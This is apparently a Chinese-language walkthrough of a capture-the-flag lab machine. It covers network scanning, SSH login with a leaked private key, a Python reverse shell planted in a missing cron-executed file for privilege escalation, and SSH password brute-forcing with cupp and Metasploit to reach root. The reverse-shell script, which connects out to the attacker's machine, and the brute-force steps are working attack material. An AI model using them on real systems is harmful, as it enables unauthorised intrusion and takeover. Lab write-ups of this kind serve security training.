靶机地址:
链接:https://pan.baidu.com/s/1DI6yPW1ePTsT1U9mqgVZTw
提取码:lwr0
开启两台机器,一台靶机一台kali攻击机,配置好桥接网络,使其在同一网段内。
查看攻击机kali的IP,为172.19.75.213
查看靶机的IP,为172.19.75.198
netdiscover -r 172.19.75.1/24
探测靶场开放的服务与服务的版本
nmap -sV 172.19.75.198
看到了80端口,那我们去访问一下IP地址,发现是一个公司的网页页面,在那里具有一些信息,人名之类的,留意一下,可能就是用户名,突然社工,嘿嘿。
继续深度探测
dirb http://172.19.75.198/
打开可疑链接,发现很多文件,其中VDSoyuAXiO.txt是我们需要的秘钥文件
下载下来,保存到桌面
给id_rsa赋权,进行ssh连接,使用我们刚刚发现的人名尝试,发现martin可以连接,可是要密码,尝试一下martin,成功进入靶机。
进入到home目录,ls一下,我们发现有三个用户名,与网站上的信息同等。
登陆靶机后,我们需要做以下操作。
1、查看当前用户whoami
2、id 查看当前用户的权限
3、查看根目录,寻找flag
很可惜不是root权限,需提权。
通过 /etc/crontab文件,设定系统定期执行的任务,编辑,需要root权限。不同的用户都可以有不同的定时任务
cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
我们再crontab中发现jimmy在/tmp文件中有一个sekurity.py文件
这时我们查看/tmp目录
我们发现没有sekurity.py文件,这时我们就可以创建反弹shell了。
我们现在靶机的home目录上创建一个1.py文件,然后在文件中写入如下程序:
#!/usr/bin/python
import os, subprocess, socket
s=socket.socket()
s.connect(("172。19.75.213",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
程序剖析:
os.dup2(fd, fd2)
os.dup2()方法用于将一个文件描述符fd复制到另一个fd2
fileno()用来取得文件描述词
如果程序只有一个os.dup2(s.fileno(),0),那么只能在靶机上创建shell,断开连接后会直接回到kali。
如果有os.dup2(s.fileno(),0) os.dup2(s.fileno(),1),也只能在靶机上创建shell,但是断开连接后还会在靶机上。
然后把1.py复制到/tmp目录并命名未sekurity.py,并赋予其可执行权限。
创建好后,我们开始在kali中监听端口
因为任务五分钟执行一次,我们最多等五分钟,就可以拿到shell
whoami一下,看看当前用户是谁
切换到 /home/用户名 目录查看是否具有可以提升root权限的文件;
很可惜,并没有有用的文件,看来只能把希望寄托在最后一个用户,hadi身上了。
万不得已的时候,只能对ssh服务进行暴力破解。破解最后一个用户名。
破解工具,如hydra、medusa等;
我们这次使用cupp创建字典
利用cupp创建字典
apt-get install cupp
创建密码字典文件hadi.txt,注意填好名字和添加随机数,其他略过就好。
hadi.txt会自行被创建
使用metasploit破解SSH
在终端输入msfconsole
我们进入了metasploit,我们使用ssh_login模块进行渗透攻击。
我们要把所有的yes都填上
我们run一下,让渗透模块自己去渗透即可。
密码为hadi123,我们发现session 1已经被建立
这时,我们进入session1
优化会话
我们发现和我们平常的终端不一样
我们使用以下命令
python -c "import pty; pty.spawn('/bin/bash')"
结果如下:
成为了我们想要的终端结果
接下来我们试一下提权,输入密码:hadi123进行尝试
成功进入root权限
查看/root目录,发现flag文件。
大功告成!!!!!